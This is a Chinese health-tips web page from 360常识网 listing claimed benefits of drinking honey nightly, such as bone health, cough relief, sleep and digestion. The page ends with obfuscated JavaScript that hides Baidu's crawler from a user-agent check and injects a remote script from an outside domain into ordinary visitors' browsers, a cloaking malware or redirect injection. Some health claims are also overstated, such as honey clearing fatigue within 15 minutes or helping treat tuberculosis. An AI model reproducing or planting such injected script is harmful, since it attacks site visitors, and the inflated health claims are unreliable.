当前位置:首页 > 饮食 > 食物营养 > 正文

每晚喝蜂蜜的好处有哪些呢

2017-07-23 23:11:02  来源:360常识网   热度:
导语:蜂蜜是大家都不陌生的保健品,每到了春季的时候,很多地方都会出现一些养蜂人,他们就是为了从蜜蜂那里获取蜂蜜。蜂蜜也是很多人平时喝的营

蜂蜜是大家都不陌生的保健品,每到了春季的时候,很多地方都会出现一些养蜂人,他们就是为了从蜜蜂那里获取蜂蜜。蜂蜜也是很多人平时喝的营养品,大家也知道喝蜂蜜对于身体是有好处的,但是具体有哪些好处不是很清楚。那么,每晚喝蜂蜜的好处有哪些呢?对于喝蜂蜜的一些功效,请看下文的介绍。

促进钙吸收

营养专家发现,蜂蜜能防止中老年妇女因钙流失而引起的骨质疏松。这是因为蜂蜜中的硼能增加雌激素活性,防止钙的流失。

润肺止咳

蜂蜜可润肺,具有一定的止咳作用,常用来辅助治疗肺结核和气管炎。

用法:虚弱多咳的人可常吃蜂蜜。蜂蜜可用于辅助治疗鼻炎,鼻窦炎,支气管炎,咽炎和气喘。其中,枇杷蜜的止咳作用突出。

保护心血管

蜂蜜有扩张冠状动脉和营养心肌的作用,改善心肌功能,对血压有调节作用。

抗疲劳

蜂蜜中的果糖,葡萄糖可以很快被吸收利用,改善血液的营状况。人体疲劳时服用蜂蜜,15分钟就可明显消除疲劳症状。

改善睡眠

蜂蜜可缓解神经紧张,促进睡眠,并有一定的止痛作用。蜂蜜中的葡萄糖、维生素、镁、磷、钙等能够调节神经系统,促进睡眠。

促进消化

研究证明,蜂蜜对胃肠功能有调节作用,可使胃酸分泌正常。动物实验证实,蜂蜜有增强肠蠕动的作用,可显著缩短排便时间。

每晚喝蜂蜜的好处有哪些呢?以上都是喝蜂蜜的一些功效,大家每个人都可以每天适当的喝点蜂蜜的,具有很好的保健身体的功效。而对于未满一周岁的宝宝和一些糖尿病的患者们,则是不适宜喝蜂蜜的。另外,晚上不要喝过多蜂蜜,适当的喝一点蜂蜜水就行了。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}